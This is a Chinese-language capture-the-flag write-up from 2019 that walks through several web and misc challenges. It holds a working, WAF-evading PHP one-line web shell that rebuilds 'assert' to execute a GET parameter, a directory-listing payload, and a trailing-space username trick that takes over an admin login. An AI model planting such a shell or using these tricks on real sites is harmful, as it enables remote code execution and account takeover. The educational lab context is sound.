WriteUp-2019.5.12

login1(SKCTF)

主要利用了基于约束的SQL攻击,注册一个名为“admin ”的新用户名(有一个空格),密码随意,这样使用新注册的用户名密码即可登录“admin”用户,详情参考https://www.freebuf.com/articles/web/124537.html

过狗一句话

1
2
3
4
<?php $poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])

这里explode函数把字符串poc按#分隔开并映到poc_1数组中去;

然后poc_2再把他们连接起来,总的来说就是把poc中的#去掉,变成一个新的字符串赋值给poc_2;

可以看出,poc_2是assert,然后我们来看最后一句话,它现在变成了一个函数,即:

assert($_GET[‘s’])

而assert函数功能跟eval类似,可以把里面的内容当作代码来执行,考虑扫描目录下的文件,构造payload:

?s=print_r(scandir(‘./‘))

注: scandir() 函数 返回一个数组,数组包含指定路径中的文件和目录

​ print_r()函数 以易于理解的格式打印变量

即把当前目录下的文件或者目录以数组的形式显示出来

1
Array ( [0] => . [1] => .. [2] => c.php [3] => flag_sm1skla1.txt [4] => index.php [5] => info.php [6] => test3 [7] => zaq.php [8] => zzz.php [9] => zzz1.php )

进入/flag_sm1skla1.txt 成功发现flag

速度要快

抓包后发现flag,推测是base64编码,解码得到flag

想什么呢?怎么可能这么简单?

在repeater板块GO几次发现flag一直在变化,开始写python脚本

1
2
3
4
5
6
7
8
9
10
import requests
import base64
url="http://120.24.86.145:8002/web6/"
r=requests.session()
headers=r.get(url).headers
mid=base64.b64decode(headers['flag'])
mid=mid.decode()
flag = base64.b64decode(mid.split(':')[1])
data={'margin':flag}
print (r.post(url,data).text)

成功得到flag

Ada

MISC题目,解压后是一个图片,先扔到winhex中查找flag,只发现了flag.txt

再尝试扔到binwalk中检查是否存在其他文件

发现内涵一个zip压缩包

使用dd命令分离文件

1
# dd if=ada.jpg of=zip skip=218773 bs=1

这里if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过218773个块后再开始复制(即binwalk中对应的DECIMAL),bs设置每次读写块的大小为1字节

解压提取出的zip即得到flag

又一张照片,还单纯吗

原理同上,扔到binwalk中检查是否存在其他文件

发现了几个jpg文件,使用dd命令分离文件

1
# dd if=2.jpg of=1.jpg skip=158792 bs=1

查看提取的jpg文件发现flag